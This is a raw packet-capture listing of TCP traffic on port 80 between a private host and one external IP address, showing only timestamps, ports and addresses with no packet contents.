Sep 30, 2024 12:22:36.106389999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106424093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106445074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106458902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106468916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106503010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106508970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106542110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106554031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106575966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106591940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106607914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106621981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106641054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106642008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106688023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106692076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106724977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106739998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106759071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106774092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106791019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106798887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106825113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106833935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106854916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106870890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106884003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106887102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106931925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106939077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106971979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106982946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107014894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107022047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107058048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107068062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107091904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107100964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107132912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107141972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107193947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107197046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107243061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107249022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107283115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107292891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107331038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107333899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107368946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107400894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107434034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107451916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107470989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107479095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107505083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107522011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107546091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107557058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107589006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107604027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107640028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107640982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107672930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107690096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107707024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107717037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107738972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107753992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107773066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107785940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107805014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107815981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107848883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107855082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107887983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107903957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107920885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107938051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.107954979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.107965946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108005047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108006001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108036041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108067989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108076096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108087063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108114004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108131886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108150005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108149052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108184099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108197927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108216047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108233929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108249903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108267069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108282089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108294010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108315945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108340979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108347893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108364105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108381987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108391047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108412981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108422041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108444929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108453989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108480930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108494043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108514071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108529091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108549118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108562946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108582973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108594894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108614922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108624935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108650923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108666897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108685017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108695984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108712912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108730078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108746052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108758926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108779907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108793974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108812094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108819962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108844995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108856916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.108876944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108911037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108943939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.108977079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109009027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109020948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109042883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109051943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109076023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109083891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109111071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109127045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109143019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109144926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109180927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109189034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109214067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109224081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109247923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109257936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109282017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109292984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109314919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109323978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109349966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.109354973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.109397888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194700956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194730997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194747925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194782972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194804907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194843054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194858074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194874048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194880962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194890022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194905996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.194909096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194938898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.194994926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195009947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195031881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195034027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195053101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195055962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195069075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195071936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195084095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195089102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195101023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195106030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195115089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195123911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195132971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195141077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195147991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195158958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195164919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195173025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195188999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195204973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195802927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195817947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195837021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195851088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195863008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195871115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195878983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195894003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195899010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195909977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195913076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195924997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195938110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195944071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195945024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195960045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195965052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.195976019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195988894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.195991993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196006060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196014881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196019888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196029902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196034908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196049929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196053028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196064949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196074009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196074009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196079969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196088076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196098089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196105957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196110964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196119070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196126938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196135998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196142912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196154118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196157932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196166992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196173906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.196182966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196197987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.196217060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197472095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197487116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197511911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197519064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197527885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197531939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197544098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197547913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197565079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197566032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197581053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197582006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197597027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197597980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197619915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197623968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197638035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197638035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197650909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197654009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197662115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197681904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197685003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197700024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197706938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197715998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197731018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197736979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197746992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197755098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197762012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197777987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197783947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197793961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197809935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197812080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197824001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197827101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197840929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197848082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197856903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197864056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197871923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197876930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197886944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197892904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197901964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197910070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197916985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197925091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197931051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197942019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197947025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197961092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197962046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197977066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.197983027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.197990894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198005915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198009014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198020935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198030949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198035955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198055029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198055029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198070049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198077917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198084116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198098898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198102951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198115110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198126078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198128939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198149920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198174000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198390007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198405027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198420048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198431969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198436975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198445082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198453903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198461056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198477030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198477983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198493958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198527098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198534012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198549032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198564053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.198570013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.198579073 CEST	80	52534	5.42.101.62	192.168.2.4
